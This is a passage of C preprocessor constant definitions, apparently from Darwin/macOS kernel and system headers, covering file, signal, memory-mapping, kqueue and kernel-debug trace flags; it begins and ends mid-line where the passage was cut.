0x00100000\n#define LITOUT 0x00200000\n#define TOSTOP 0x00400000\n#define FLUSHO 0x00800000\n#define NOHANG 0x01000000\n#define L001000 0x02000000\n#define CRTKIL 0x04000000\n#define PASS8 0x08000000\n#define CTLECH 0x10000000\n#define PENDIN 0x20000000\n#define DECCTQ 0x40000000\n#define NOFLSH 0x80000000\n#define OTTYDISC 0\n#define NETLDISC 1\n#define NTTYDISC 2\n#define LOCKLEAF 0x0004\n#define LOCKPARENT 0x0008\n#define WANTPARENT 0x0010\n#define UIO_MAXIOV 1024\n#define UIO_SMALLIOV 8\n#define EVFILT_SYSCOUNT 18\n#define KEVENT_FLAG_NONE 0x000000\n#define KEVENT_FLAG_IMMEDIATE 0x000001\n#define KEVENT_FLAG_ERROR_EVENTS 0x000002\n#define EV_ADD 0x0001\n#define EV_DELETE 0x0002\n#define EV_ENABLE 0x0004\n#define EV_DISABLE 0x0008\n#define EV_ONESHOT 0x0010\n#define EV_CLEAR 0x0020\n#define EV_RECEIPT 0x0040\n#define EV_DISPATCH 0x0080\n#define EV_UDATA_SPECIFIC 0x0100\n#define EV_VANISHED 0x0200\n#define EV_SYSFLAGS 0xF000\n#define EV_FLAG0 0x1000\n#define EV_FLAG1 0x2000\n#define EV_EOF 0x8000\n#define EV_ERROR 0x4000\n#define NOTE_TRIGGER 0x01000000\n#define NOTE_FFNOP 0x00000000\n#define NOTE_FFAND 0x40000000\n#define NOTE_FFOR 0x80000000\n#define NOTE_FFCOPY 0xc0000000\n#define NOTE_FFCTRLMASK 0xc0000000\n#define NOTE_FFLAGSMASK 0x00ffffff\n#define NOTE_LOWAT 0x00000001\n#define NOTE_OOB 0x00000002\n#define NOTE_DELETE 0x00000001\n#define NOTE_WRITE 0x00000002\n#define NOTE_EXTEND 0x00000004\n#define NOTE_ATTRIB 0x00000008\n#define NOTE_LINK 0x00000010\n#define NOTE_RENAME 0x00000020\n#define NOTE_REVOKE 0x00000040\n#define NOTE_NONE 0x00000080\n#define NOTE_FUNLOCK 0x00000100\n#define NOTE_LEASE_DOWNGRADE 0x00000200\n#define NOTE_LEASE_RELEASE 0x00000400\n#define NOTE_EXIT 0x80000000\n#define NOTE_FORK 0x40000000\n#define NOTE_EXEC 0x20000000\n#define NOTE_SIGNAL 0x08000000\n#define NOTE_EXITSTATUS 0x04000000\n#define NOTE_EXIT_DETAIL 0x02000000\n#define NOTE_PDATAMASK 0x000fffff\n#define NOTE_EXIT_DETAIL_MASK 0x00070000\n#define NOTE_EXIT_DECRYPTFAIL 0x00010000\n#define NOTE_EXIT_MEMORY 0x00020000\n#define NOTE_EXIT_CSERROR 0x00040000\n#define NOTE_VM_PRESSURE 0x80000000\n#define NOTE_VM_PRESSURE_TERMINATE 0x40000000\n#define NOTE_VM_PRESSURE_SUDDEN_TERMINATE 0x20000000\n#define NOTE_VM_ERROR 0x10000000\n#define NOTE_SECONDS 0x00000001\n#define NOTE_USECONDS 0x00000002\n#define NOTE_NSECONDS 0x00000004\n#define NOTE_ABSOLUTE 0x00000008\n#define NOTE_LEEWAY 0x00000010\n#define NOTE_CRITICAL 0x00000020\n#define NOTE_BACKGROUND 0x00000040\n#define NOTE_MACH_CONTINUOUS_TIME 0x00000080\n#define NOTE_MACHTIME 0x00000100\n#define NOTE_TRACK 0x00000001\n#define NOTE_TRACKERR 0x00000002\n#define NOTE_CHILD 0x00000004\n#define VMADDR_CID_HYPERVISOR 0\n#define VMADDR_CID_RESERVED 1\n#define VMADDR_CID_HOST 2\n#define IMG_SHSIZE 512\n#define IMGPF_NONE 0x00000000\n#define IMGPF_INTERPRET 0x00000001\n#define IMGPF_RESERVED 0x00000002\n#define IMGPF_WAS_64BIT_ADDR 0x00000004\n#define IMGPF_IS_64BIT_ADDR 0x00000008\n#define IMGPF_SPAWN 0x00000010\n#define IMGPF_DISABLE_ASLR 0x00000020\n#define IMGPF_ALLOW_DATA_EXEC 0x00000040\n#define IMGPF_3P_PLUGINS 0x00000080\n#define IMGPF_EXEC 0x00000100\n#define IMGPF_HIGH_BITS_ASLR 0x00000200\n#define IMGPF_IS_64BIT_DATA 0x00000400\n#define IMGPF_DRIVER 0x00000800\n#define IMGPF_RESLIDE 0x00001000\n#define IMGPF_PLUGIN_HOST_DISABLE_A_KEYS 0x00002000\n#define IMGPF_HW_TPRO 0x00004000\n#define IMGPF_ROSETTA 0x10000000\n#define IMGPF_ALT_ROSETTA 0x20000000\n#define IMGPF_RESERVED_2 0x40000000\n#define IMGPF_NOJOP 0x80000000\n#define IMGPF_SB_DEFAULT 0\n#define IMGPF_SB_TRUE 1\n#define IMGPF_SB_FALSE 2\n#define _POSIX_THREAD_KEYS_MAX 128\n#define F_OK 0\n#define ACCESSX_MAX_DESCRIPTORS 100\n#define _PC_LINK_MAX 1\n#define _PC_MAX_CANON 2\n#define _PC_MAX_INPUT 3\n#define _PC_NAME_MAX 4\n#define _PC_PATH_MAX 5\n#define _PC_PIPE_BUF 6\n#define _PC_CHOWN_RESTRICTED 7\n#define _PC_NO_TRUNC 8\n#define _PC_VDISABLE 9\n#define _PC_NAME_CHARS_MAX 10\n#define _PC_CASE_SENSITIVE 11\n#define _PC_CASE_PRESERVING 12\n#define _PC_EXTENDED_SECURITY_NP 13\n#define _PC_AUTH_OPAQUE_NP 14\n#define _PC_2_SYMLINKS 15\n#define _PC_ALLOC_SIZE_MIN 16\n#define _PC_ASYNC_IO 17\n#define _PC_FILESIZEBITS 18\n#define _PC_PRIO_IO 19\n#define _PC_REC_INCR_XFER_SIZE 20\n#define _PC_REC_MAX_XFER_SIZE 21\n#define _PC_REC_MIN_XFER_SIZE 22\n#define _PC_REC_XFER_ALIGN 23\n#define _PC_SYMLINK_MAX 24\n#define _PC_SYNC_IO 25\n#define _PC_XATTR_SIZE_BITS 26\n#define _PC_MIN_HOLE_SIZE 27\n#define _CS_PATH 1\n#define _SYS_CONF_H_ 1\n#define D_TAPE 1\n#define D_DISK 2\n#define D_TTY 3\n#define WNOHANG 0x00000001\n#define WUNTRACED 0x00000002\n#define WCOREFLAG 00200\n#define _WSTOPPED 00177\n#define WEXITED 0x00000004\n#define WSTOPPED 0x00000008\n#define WCONTINUED 0x00000010\n#define WNOWAIT 0x00000020\n#define WAIT_MYPGRP 0\n#define PRIO_DARWIN_GPU 5\n#define PRIO_DARWIN_GPU_ALLOW 0x1\n#define PRIO_DARWIN_GPU_DENY 0x2\n#define PRIO_DARWIN_ROLE 6\n#define PRIO_DARWIN_ROLE_DEFAULT 0x0\n#define PRIO_DARWIN_ROLE_UI_FOCAL 0x1\n#define PRIO_DARWIN_ROLE_UI 0x2\n#define PRIO_DARWIN_ROLE_NON_UI 0x3\n#define PRIO_DARWIN_ROLE_UI_NON_FOCAL 0x4\n#define PRIO_DARWIN_ROLE_TAL_LAUNCH 0x5\n#define PRIO_DARWIN_ROLE_DARWIN_BG 0x6\n#define PRIO_DARWIN_GAME_MODE 7\n#define PRIO_DARWIN_CARPLAY_MODE 8\n#define PRIO_DARWIN_GAME_MODE_OFF 0x0\n#define PRIO_DARWIN_GAME_MODE_ON 0x1\n#define PRIO_DARWIN_CARPLAY_MODE_OFF 0x0\n#define PRIO_DARWIN_CARPLAY_MODE_ON 0x1\n#define IOMON_ENABLE 0x01\n#define IOMON_DISABLE 0x02\n#define IOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY 1\n#define IOPOL_TYPE_VFS_ALTLINK 11\n#define IOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE 12\n#define IOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT 0\n#define IOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE 1\n#define IOPOL_VFS_ALTLINK_DISABLED 0\n#define IOPOL_VFS_ALTLINK_ENABLED 1\n#define IOPOL_CMD_GET 0x00000001\n#define IOPOL_CMD_SET 0x00000002\n#define IPC_CREAT 0001000\n#define IPC_EXCL 0002000\n#define IPC_NOWAIT 0004000\n#define IPC_RMID 0\n#define IPC_SET 1\n#define IPC_STAT 2\n#define IPC_R 0000400\n#define IPC_W 0000200\n#define IPC_M 0010000\n#define O_RDONLY 0x0000\n#define O_WRONLY 0x0001\n#define O_RDWR 0x0002\n#define O_ACCMODE 0x0003\n#define FREAD 0x00000001\n#define FWRITE 0x00000002\n#define O_NONBLOCK 0x00000004\n#define O_APPEND 0x00000008\n#define O_SHLOCK 0x00000010\n#define O_EXLOCK 0x00000020\n#define O_ASYNC 0x00000040\n#define O_NOFOLLOW 0x00000100\n#define O_CREAT 0x00000200\n#define O_TRUNC 0x00000400\n#define O_EXCL 0x00000800\n#define FMARK 0x00001000\n#define FDEFER 0x00002000\n#define FWASLOCKED 0x00004000\n#define O_EVTONLY 0x00008000\n#define FWASWRITTEN 0x00010000\n#define O_NOCTTY 0x00020000\n#define FNOCACHE 0x00040000\n#define FNORDAHEAD 0x00080000\n#define O_DIRECTORY 0x00100000\n#define O_SYMLINK 0x00200000\n#define FNODIRECT 0x00800000\n#define O_CLOEXEC 0x01000000\n#define FENCRYPTED 0x02000000\n#define FSINGLE_WRITER 0x04000000\n#define O_CLOFORK 0x08000000\n#define FUNENCRYPTED 0x10000000\n#define O_NOFOLLOW_ANY 0x20000000\n#define O_EXEC 0x40000000\n#define AT_EACCESS 0x0010\n#define AT_SYMLINK_NOFOLLOW 0x0020\n#define AT_SYMLINK_FOLLOW 0x0040\n#define AT_REMOVEDIR 0x0080\n#define AT_REALDEV 0x0200\n#define AT_FDONLY 0x0400\n#define AT_SYMLINK_NOFOLLOW_ANY 0x0800\n#define O_DP_GETRAWENCRYPTED 0x0001\n#define O_DP_GETRAWUNENCRYPTED 0x0002\n#define O_DP_AUTHENTICATE 0x0004\n#define CPF_OVERWRITE 0x0001\n#define CPF_IGNORE_MODE 0x0002\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETOWN 5\n#define F_SETOWN 6\n#define F_GETLK 7\n#define F_SETLK 8\n#define F_SETLKW 9\n#define F_SETLKWTIMEOUT 10\n#define F_FLUSH_DATA 40\n#define F_CHKCLEAN 41\n#define F_PREALLOCATE 42\n#define F_SETSIZE 43\n#define F_RDADVISE 44\n#define F_RDAHEAD 45\n#define F_NOCACHE 48\n#define F_LOG2PHYS 49\n#define F_GETPATH 50\n#define F_FULLFSYNC 51\n#define F_PATHPKG_CHECK 52\n#define F_FREEZE_FS 53\n#define F_THAW_FS 54\n#define F_GLOBAL_NOCACHE 55\n#define F_ADDSIGS 59\n#define F_ADDFILESIGS 61\n#define F_NODIRECT 62\n#define F_GETPROTECTIONCLASS 63\n#define F_SETPROTECTIONCLASS 64\n#define F_LOG2PHYS_EXT 65\n#define F_GETLKPID 66\n#define F_SETBACKINGSTORE 70\n#define F_GETPATH_MTMINFO 71\n#define F_GETCODEDIR 72\n#define F_SETNOSIGPIPE 73\n#define F_GETNOSIGPIPE 74\n#define F_TRANSCODEKEY 75\n#define F_SINGLE_WRITER 76\n#define F_GETPROTECTIONLEVEL 77\n#define F_FINDSIGS 78\n#define F_ADDFILESIGS_FOR_DYLD_SIM 83\n#define F_BARRIERFSYNC 85\n#define F_OFD_SETLK 90\n#define F_OFD_SETLKW 91\n#define F_OFD_GETLK 92\n#define F_OFD_SETLKWTIMEOUT 93\n#define F_ADDFILESIGS_RETURN 97\n#define F_CHECK_LV 98\n#define F_PUNCHHOLE 99\n#define F_TRIM_ACTIVE_FILE 100\n#define F_SPECULATIVE_READ 101\n#define F_GETPATH_NOFIRMLINK 102\n#define F_ADDFILESIGS_INFO 103\n#define F_ADDFILESUPPL 104\n#define F_GETSIGSINFO 105\n#define F_SETLEASE 106\n#define F_GETLEASE 107\n#define F_TRANSFEREXTENTS 110\n#define F_ATTRIBUTION_TAG 111\n#define F_ADDSIGS_MAIN_BINARY 113\n#define FCNTL_FS_SPECIFIC_BASE 0x00010000\n#define F_DUPFD_CLOEXEC 67\n#define FD_CLOEXEC 1\n#define F_RDLCK 1\n#define F_UNLCK 2\n#define F_WRLCK 3\n#define F_WAIT 0x010\n#define F_FLOCK 0x020\n#define F_POSIX 0x040\n#define F_PROV 0x080\n#define F_WAKE1_SAFE 0x100\n#define F_ABORT 0x200\n#define F_OFD_LOCK 0x400\n#define F_TRANSFER 0x800\n#define F_CONFINED 0x1000\n#define F_ALLOCATECONTIG 0x00000002\n#define F_ALLOCATEALL 0x00000004\n#define F_ALLOCATEPERSIST 0x00000008\n#define F_PEOFPOSMODE 3\n#define F_VOLPOSMODE 4\n#define USER_FSIGNATURES_CDHASH_LEN 20\n#define GETSIGSINFO_PLATFORM_BINARY 1\n#define LOCK_SH 0x01\n#define LOCK_EX 0x02\n#define LOCK_NB 0x04\n#define LOCK_UN 0x08\n#define ATTRIBUTION_NAME_MAX 255\n#define F_CREATE_TAG 0x00000001\n#define F_DELETE_TAG 0x00000002\n#define F_QUERY_TAG 0x00000004\n#define O_POPUP 0x80000000\n#define O_ALERT 0x20000000\n#define S_BLKSIZE 512\n#define UF_SETTABLE 0x0000ffff\n#define UF_NODUMP 0x00000001\n#define UF_IMMUTABLE 0x00000002\n#define UF_APPEND 0x00000004\n#define UF_OPAQUE 0x00000008\n#define UF_COMPRESSED 0x00000020\n#define UF_TRACKED 0x00000040\n#define UF_DATAVAULT 0x00000080\n#define UF_HIDDEN 0x00008000\n#define SF_SUPPORTED 0x009f0000\n#define SF_SETTABLE 0x3fff0000\n#define SF_SYNTHETIC 0xc0000000\n#define SF_ARCHIVED 0x00010000\n#define SF_IMMUTABLE 0x00020000\n#define SF_APPEND 0x00040000\n#define SF_RESTRICTED 0x00080000\n#define SF_NOUNLINK 0x00100000\n#define SF_FIRMLINK 0x00800000\n#define SF_DATALESS 0x40000000\n#define EF_MAY_SHARE_BLOCKS 0x00000001\n#define EF_NO_XATTRS 0x00000002\n#define EF_IS_SYNC_ROOT 0x00000004\n#define EF_IS_PURGEABLE 0x00000008\n#define EF_IS_SPARSE 0x00000010\n#define EF_IS_SYNTHETIC 0x00000020\n#define EF_SHARES_ALL_BLOCKS 0x00000040\n#define MBUF_COPYALL 1000000000\n#define __DARWIN_NSIG 32\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGPOLL 7\n#define SIGEMT 7\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGBUS 10\n#define SIGSEGV 11\n#define SIGSYS 12\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGURG 16\n#define SIGSTOP 17\n#define SIGTSTP 18\n#define SIGCONT 19\n#define SIGCHLD 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGIO 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGINFO 29\n#define SIGUSR1 30\n#define SIGUSR2 31\n#define SIGEV_NONE 0\n#define SIGEV_SIGNAL 1\n#define SIGEV_THREAD 3\n#define ILL_NOOP 0\n#define ILL_ILLOPC 1\n#define ILL_ILLTRP 2\n#define ILL_PRVOPC 3\n#define ILL_ILLOPN 4\n#define ILL_ILLADR 5\n#define ILL_PRVREG 6\n#define ILL_COPROC 7\n#define ILL_BADSTK 8\n#define FPE_NOOP 0\n#define FPE_FLTDIV 1\n#define FPE_FLTOVF 2\n#define FPE_FLTUND 3\n#define FPE_FLTRES 4\n#define FPE_FLTINV 5\n#define FPE_FLTSUB 6\n#define FPE_INTDIV 7\n#define FPE_INTOVF 8\n#define SEGV_NOOP 0\n#define SEGV_MAPERR 1\n#define SEGV_ACCERR 2\n#define BUS_NOOP 0\n#define BUS_ADRALN 1\n#define BUS_ADRERR 2\n#define BUS_OBJERR 3\n#define TRAP_BRKPT 1\n#define TRAP_TRACE 2\n#define CLD_NOOP 0\n#define CLD_EXITED 1\n#define CLD_KILLED 2\n#define CLD_DUMPED 3\n#define CLD_TRAPPED 4\n#define CLD_STOPPED 5\n#define CLD_CONTINUED 6\n#define POLL_IN 1\n#define POLL_OUT 2\n#define POLL_MSG 3\n#define POLL_ERR 4\n#define POLL_PRI 5\n#define POLL_HUP 6\n#define SA_ONSTACK 0x0001\n#define SA_RESTART 0x0002\n#define SA_RESETHAND 0x0004\n#define SA_NOCLDSTOP 0x0008\n#define SA_NODEFER 0x0010\n#define SA_NOCLDWAIT 0x0020\n#define SA_SIGINFO 0x0040\n#define SA_USERTRAMP 0x0100\n#define SA_64REGSET 0x0200\n#define SIG_BLOCK 1\n#define SIG_UNBLOCK 2\n#define SIG_SETMASK 3\n#define SI_USER 0x10001\n#define SI_QUEUE 0x10002\n#define SI_TIMER 0x10003\n#define SI_ASYNCIO 0x10004\n#define SI_MESGQ 0x10005\n#define SS_ONSTACK 0x0001\n#define SS_DISABLE 0x0004\n#define MINSIGSTKSZ 32768\n#define SIGSTKSZ 131072\n#define __DARWIN_MAXNAMLEN 255\n#define __DARWIN_MAXPATHLEN 1024\n#define DT_UNKNOWN 0\n#define DT_FIFO 1\n#define DT_CHR 2\n#define DT_DIR 4\n#define DT_BLK 6\n#define DT_REG 8\n#define DT_LNK 10\n#define DT_SOCK 12\n#define DT_WHT 14\n#define POSIX_SPAWN_RESETIDS 0x0001\n#define POSIX_SPAWN_SETPGROUP 0x0002\n#define POSIX_SPAWN_SETSIGDEF 0x0004\n#define POSIX_SPAWN_SETSIGMASK 0x0008\n#define POSIX_SPAWN_SETSCHEDPARAM 0x0010\n#define POSIX_SPAWN_SETSCHEDULER 0x0020\n#define POSIX_SPAWN_SETEXEC 0x0040\n#define POSIX_SPAWN_START_SUSPENDED 0x0080\n#define POSIX_SPAWN_SETSID 0x0400\n#define POSIX_SPAWN_CLOEXEC_DEFAULT 0x4000\n#define _POSIX_SPAWN_RESLIDE 0x0800\n#define POSIX_SPAWN_PCONTROL_NONE 0x0000\n#define POSIX_SPAWN_PCONTROL_THROTTLE 0x0001\n#define POSIX_SPAWN_PCONTROL_SUSPEND 0x0002\n#define POSIX_SPAWN_PCONTROL_KILL 0x0003\n#define POSIX_SPAWN_PANIC_ON_CRASH 0x1\n#define POSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT 0x2\n#define POSIX_SPAWN_PANIC_ON_EXIT 0x4\n#define POSIX_SPAWN_PANIC_ON_SPAWN_FAIL 0x8\n#define PROT_NONE 0x00\n#define PROT_READ 0x01\n#define PROT_WRITE 0x02\n#define PROT_EXEC 0x04\n#define MAP_SHARED 0x0001\n#define MAP_PRIVATE 0x0002\n#define MAP_FIXED 0x0010\n#define MAP_RENAME 0x0020\n#define MAP_NORESERVE 0x0040\n#define MAP_RESERVED0080 0x0080\n#define MAP_NOEXTEND 0x0100\n#define MAP_HASSEMAPHORE 0x0200\n#define MAP_NOCACHE 0x0400\n#define MAP_JIT 0x0800\n#define MAP_FILE 0x0000\n#define MAP_ANON 0x1000\n#define MAP_RESILIENT_CODESIGN 0x2000\n#define MAP_RESILIENT_MEDIA 0x4000\n#define MAP_32BIT 0x8000\n#define MAP_TRANSLATED_ALLOW_EXECUTE 0x20000\n#define MAP_UNIX03 0x40000\n#define MAP_TPRO 0x80000\n#define MCL_CURRENT 0x0001\n#define MCL_FUTURE 0x0002\n#define MS_ASYNC 0x0001\n#define MS_INVALIDATE 0x0002\n#define MS_SYNC 0x0010\n#define MS_KILLPAGES 0x0004\n#define MS_DEACTIVATE 0x0008\n#define POSIX_MADV_NORMAL 0\n#define POSIX_MADV_RANDOM 1\n#define POSIX_MADV_SEQUENTIAL 2\n#define POSIX_MADV_WILLNEED 3\n#define POSIX_MADV_DONTNEED 4\n#define MADV_FREE 5\n#define MADV_ZERO_WIRED_PAGES 6\n#define MADV_FREE_REUSABLE 7\n#define MADV_FREE_REUSE 8\n#define MADV_CAN_REUSE 9\n#define MADV_PAGEOUT 10\n#define MADV_ZERO 11\n#define MINCORE_INCORE 0x1\n#define MINCORE_REFERENCED 0x2\n#define MINCORE_MODIFIED 0x4\n#define MINCORE_REFERENCED_OTHER 0x8\n#define MINCORE_MODIFIED_OTHER 0x10\n#define MINCORE_PAGED_OUT 0x20\n#define MINCORE_COPIED 0x40\n#define MINCORE_ANONYMOUS 0x80\n#define B_WRITE 0x00000000\n#define B_READ 0x00000001\n#define B_ASYNC 0x00000002\n#define B_NOCACHE 0x00000004\n#define B_DELWRI 0x00000008\n#define B_LOCKED 0x00000010\n#define B_PHYS 0x00000020\n#define B_CLUSTER 0x00000040\n#define B_PAGEIO 0x00000080\n#define B_META 0x00000100\n#define B_RAW 0x00000200\n#define B_FUA 0x00000400\n#define B_PASSIVE 0x00000800\n#define B_IOSTREAMING 0x00001000\n#define B_THROTTLED_IO 0x00002000\n#define B_ENCRYPTED_IO 0x00004000\n#define B_STATICCONTENT 0x00008000\n#define BUF_WAIT 0x01\n#define BUF_WRITE_DATA 0x0001\n#define BUF_SKIP_META 0x0002\n#define BUF_INVALIDATE_LOCKED 0x0004\n#define BUF_SKIP_NONLOCKED 0x01\n#define BUF_SKIP_LOCKED 0x02\n#define BUF_SCAN_CLEAN 0x04\n#define BUF_SCAN_DIRTY 0x08\n#define BUF_NOTIFY_BUSY 0x10\n#define BUF_RETURNED 0\n#define BUF_RETURNED_DONE 1\n#define BUF_CLAIMED 2\n#define BUF_CLAIMED_DONE 3\n#define BLK_READ 0x01\n#define BLK_WRITE 0x02\n#define BLK_META 0x10\n#define BLK_ONLYVALID 0x80000000\n#define LOG_EMERG 0\n#define LOG_ALERT 1\n#define LOG_CRIT 2\n#define LOG_ERR 3\n#define LOG_WARNING 4\n#define LOG_NOTICE 5\n#define LOG_INFO 6\n#define LOG_DEBUG 7\n#define LOG_PRIMASK 0x07\n#define INTERNAL_NOPRI 0x10\n#define LOG_NFACILITIES 25\n#define LOG_FACMASK 0x03f8\n#define LOG_PID 0x01\n#define LOG_CONS 0x02\n#define LOG_ODELAY 0x04\n#define LOG_NDELAY 0x08\n#define LOG_NOWAIT 0x10\n#define LOG_PERROR 0x20\n#define CRF_NOMEMBERD 0x00000001\n#define CRF_MAC_ENFORCE 0x00000002\n#define XUCRED_VERSION 0\n#define DK_FEATURE_BARRIER 0x00000002\n#define DK_FEATURE_PRIORITY 0x00000004\n#define DK_FEATURE_UNMAP 0x00000010\n#define DK_SYNCHRONIZE_OPTION_BARRIER 0x00000002\n#define DK_CORESTORAGE_PIN_YOUR_METADATA 0x00000001\n#define DK_CORESTORAGE_ENABLE_HOTFILES 0x00000002\n#define DK_CORESTORAGE_PIN_YOUR_SWAPFILE 0x00000004\n#define DK_PROVISION_TYPE_MAPPED 0x00\n#define DK_PROVISION_TYPE_DEALLOCATED 0x01\n#define DK_PROVISION_TYPE_ANCHORED 0x02\n#define DK_LOCATION_INTERNAL 0x00000000\n#define DK_LOCATION_EXTERNAL 0x00000001\n#define DK_FEATURE_FORCE_UNIT_ACCESS 0x00000001\n#define DK_ENCRYPTION_TYPE_AES_CBC 1\n#define DK_ENCRYPTION_TYPE_AES_XEX 2\n#define DK_ENCRYPTION_TYPE_AES_XTS 3\n#define DK_TIER_MASK 0xC0\n#define DK_TIER_SHIFT 6\n#define SOL_LOCAL 0\n#define LOCAL_PEERCRED 0x001\n#define LOCAL_PEERPID 0x002\n#define LOCAL_PEEREPID 0x003\n#define LOCAL_PEERUUID 0x004\n#define LOCAL_PEEREUUID 0x005\n#define LOCAL_PEERTOKEN 0x006\n#define _SYS_TIMEX_H_ 1\n#define NTP_API 4\n#define MINSEC 256\n#define MAXSEC 2048\n#define MAXTC 10\n#define MOD_OFFSET 0x0001\n#define MOD_FREQUENCY 0x0002\n#define MOD_MAXERROR 0x0004\n#define MOD_ESTERROR 0x0008\n#define MOD_STATUS 0x0010\n#define MOD_TIMECONST 0x0020\n#define MOD_PPSMAX 0x0040\n#define MOD_TAI 0x0080\n#define MOD_MICRO 0x1000\n#define MOD_NANO 0x2000\n#define MOD_CLKB 0x4000\n#define MOD_CLKA 0x8000\n#define STA_PLL 0x0001\n#define STA_PPSFREQ 0x0002\n#define STA_PPSTIME 0x0004\n#define STA_FLL 0x0008\n#define STA_INS 0x0010\n#define STA_DEL 0x0020\n#define STA_UNSYNC 0x0040\n#define STA_FREQHOLD 0x0080\n#define STA_PPSSIGNAL 0x0100\n#define STA_PPSJITTER 0x0200\n#define STA_PPSWANDER 0x0400\n#define STA_PPSERROR 0x0800\n#define STA_CLOCKERR 0x1000\n#define STA_NANO 0x2000\n#define STA_MODE 0x4000\n#define STA_CLK 0x8000\n#define TIME_OK 0\n#define TIME_INS 1\n#define TIME_DEL 2\n#define TIME_OOP 3\n#define TIME_WAIT 4\n#define TIME_ERROR 5\n#define MT_FREE 0\n#define MT_DATA 1\n#define MT_HEADER 2\n#define MT_SOCKET 3\n#define MT_PCB 4\n#define MT_RTABLE 5\n#define MT_HTABLE 6\n#define MT_ATABLE 7\n#define MT_SONAME 8\n#define MT_SOOPTS 10\n#define MT_FTABLE 11\n#define MT_RIGHTS 12\n#define MT_IFADDR 13\n#define MT_CONTROL 14\n#define MT_OOBDATA 15\n#define MT_TAG 16\n#define MT_MAX 32\n#define MAX_MBUF_CNAME 15\n#define MCS_DISABLED 0\n#define MCS_ONLINE 1\n#define MCS_PURGING 2\n#define MCS_OFFLINE 3\n#define MSG_NOERROR 0010000\n#define MSGSSZ 8\n#define MSGSEG 2048\n#define MSGMNB 2048\n#define MSGMNI 40\n#define MSGTQL 40\n#define MSG_LOCKED 001000\n#define DBG_MACH 1\n#define DBG_NETWORK 2\n#define DBG_FSYSTEM 3\n#define DBG_BSD 4\n#define DBG_IOKIT 5\n#define DBG_DRIVERS 6\n#define DBG_TRACE 7\n#define DBG_DLIL 8\n#define DBG_PTHREAD 9\n#define DBG_CORESTORAGE 10\n#define DBG_CG 11\n#define DBG_MONOTONIC 12\n#define DBG_MISC 20\n#define DBG_SECURITY 30\n#define DBG_DYLD 31\n#define DBG_QT 32\n#define DBG_APPS 33\n#define DBG_LAUNCHD 34\n#define DBG_SILICON 35\n#define DBG_PERF 37\n#define DBG_IMPORTANCE 38\n#define DBG_BANK 40\n#define DBG_XPC 41\n#define DBG_ATM 42\n#define DBG_ARIADNE 43\n#define DBG_DAEMON 44\n#define DBG_ENERGYTRACE 45\n#define DBG_DISPATCH 46\n#define DBG_IMG 49\n#define DBG_UMALLOC 51\n#define DBG_TURNSTILE 53\n#define DBG_AUDIO 54\n#define DBG_MIG 255\n#define DBG_MACH_EXCP_KTRAP_x86 0x02\n#define DBG_MACH_EXCP_DFLT 0x03\n#define DBG_MACH_EXCP_SYNC_ARM 0x03\n#define DBG_MACH_EXCP_IFLT 0x04\n#define DBG_MACH_EXCP_SERR_ARM 0x04\n#define DBG_MACH_EXCP_INTR 0x05\n#define DBG_MACH_EXCP_ALNG 0x06\n#define DBG_MACH_EXCP_UTRAP_x86 0x07\n#define DBG_MACH_EXCP_FP 0x08\n#define DBG_MACH_EXCP_DECI 0x09\n#define DBG_MACH_CHUD 0x0A\n#define DBG_MACH_SIGNPOST 0x0A\n#define DBG_MACH_EXCP_SC 0x0C\n#define DBG_MACH_EXCP_TRACE 0x0D\n#define DBG_MACH_EXCP_EMUL 0x0E\n#define DBG_MACH_IHDLR 0x10\n#define DBG_MACH_IPC 0x20\n#define DBG_MACH_RESOURCE 0x25\n#define DBG_MACH_EXCLAVES 0x2A\n#define DBG_MACH_EXCLAVES_SCHEDULER 0x2B\n#define DBG_MACH_EPOCH_SYNC 0x2C\n#define DBG_MACH_VM 0x30\n#define DBG_MACH_LEAKS 0x31\n#define DBG_MACH_WORKINGSET 0x32\n#define DBG_MACH_SCHED 0x40\n#define DBG_MACH_MSGID_INVALID 0x50\n#define DBG_MACH_LOCKS 0x60\n#define DBG_MACH_PMAP 0x70\n#define DBG_MACH_CLOCK 0x80\n#define DBG_MACH_MP 0x90\n#define DBG_MACH_VM_PRESSURE 0xA0\n#define DBG_MACH_STACKSHOT 0xA1\n#define DBG_MACH_SFI 0xA2\n#define DBG_MACH_ENERGY_PERF 0xA3\n#define DBG_MACH_SYSDIAGNOSE 0xA4\n#define DBG_MACH_ZALLOC 0xA5\n#define DBG_MACH_THREAD_GROUP 0xA6\n#define DBG_MACH_COALITION 0xA7\n#define DBG_MACH_SHAREDREGION 0xA8\n#define DBG_MACH_SCHED_CLUTCH 0xA9\n#define DBG_MACH_IO 0xAA\n#define DBG_MACH_WORKGROUP 0xAB\n#define DBG_MACH_HV 0xAC\n#define DBG_MACH_KCOV 0xAD\n#define DBG_MACH_MACHDEP_EXCP_SC_x86 0xAE\n#define DBG_MACH_MACHDEP_EXCP_SC_ARM 0xAF\n#define DBG_MACH_VM_RECLAIM 0xB0\n#define DBC_MACH_IO_MMIO_READ 0x1\n#define DBC_MACH_IO_MMIO_WRITE 0x2\n#define DBC_MACH_IO_PHYS_READ 0x3\n#define DBC_MACH_IO_PHYS_WRITE 0x4\n#define DBC_MACH_IO_PORTIO_READ 0x5\n#define DBC_MACH_IO_PORTIO_WRITE 0x6\n#define DBG_INTR_TYPE_UNKNOWN 0x0\n#define DBG_INTR_TYPE_IPI 0x1\n#define DBG_INTR_TYPE_TIMER 0x2\n#define DBG_INTR_TYPE_OTHER 0x3\n#define DBG_INTR_TYPE_PMI 0x4\n#define DBG_INTR_TYPE_RSVD1 0x5\n#define MACH_SCHED 0x0\n#define MACH_STACK_ATTACH 0x1\n#define MACH_STACK_HANDOFF 0x2\n#define MACH_CALL_CONT 0x3\n#define MACH_CALLOUT 0x4\n#define MACH_STACK_DETACH 0x5\n#define MACH_MAKE_RUNNABLE 0x6\n#define MACH_PROMOTE 